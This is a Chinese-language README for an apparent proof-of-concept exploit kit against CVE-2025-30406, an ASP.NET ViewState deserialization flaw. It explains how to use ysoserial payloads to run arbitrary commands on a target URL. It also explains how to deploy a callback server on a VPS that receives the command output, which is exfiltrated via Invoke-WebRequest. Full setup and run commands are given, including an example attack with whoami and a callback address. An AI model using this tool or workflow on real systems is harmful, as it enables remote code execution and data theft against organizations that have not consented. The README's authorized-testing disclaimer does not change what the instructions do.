这是一个概念验证(PoC)脚本,演示了针对 ASP.NET 应用程序中 CVE-2025-30406 的 ViewState 反序列化漏洞利用。它使用 ysoserial 生成恶意 ViewState 载荷,并将其发送到用户指定的 URL 以执行所提供的命令。为获得最佳效果,可将命令输出外带到运行在 VPS 上的自定义 HTTP 服务器(server.py),该服务器会以带时间戳、绿色提示符和白色输出文本的样式化格式显示结果。本脚本仅供教育目的使用,并且只能在您拥有明确许可执行安全测试的系统上使用。未经授权的使用是非法的且不道德的。
exploit.py:用于生成并发送 ViewState 载荷的主要 PoC 脚本。server.py:用于接收并以样式化格式显示外带命令输出的 HTTP 服务器。README.md:本文件,包含设置和使用说明。requests 库(pip install requests)server.py 的 VPS 或服务器(建议用于外带)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py 相同的目录中,或指定其路径:
要以样式化格式接收外带的命令输出,请在 VPS 上运行 server.py:
server.py 复制到您的 VPS(例如,通过 scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000),以便与 exploit.py 中的 -e 标志一起使用。使用所需参数运行 exploit.py。-e 标志是可选的,但强烈建议用于将命令输出外带到 server.py 以进行样式化显示。
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url:目标 URL(例如 http://target.com/page.aspx)[必需]-c, --command:要执行的命令(例如 whoami)[必需]-y, --ysoserial:ysoserial 可执行文件的路径(默认:./ysoserial.exe)[可选]-e, --exfil:用于外带命令输出的回调 URL(例如 http://your-vps:8000)[可选]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py 的 VPS(推荐):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
在您的 VPS 或本地机器上,启动 HTTP 服务器以接收外带的输出:
python3 server.py
服务器将显示带有时间戳、绿色 $ 提示符和白色文本的命令输出,以提高可读性。
exploit.py):
-e,命令会被包装以捕获输出,并通过 Invoke-WebRequest 发送到回调 URL。__VIEWSTATE 参数中。server.py):
$ 提示符和白色输出文本打印。-e 回调 URL 提供一个可公开访问的服务器。本项目基于 MIT 许可证授权。有关详细信息,请参阅 LICENSE 文件。
如有问题或反馈,请在此仓库中打开一个 issue。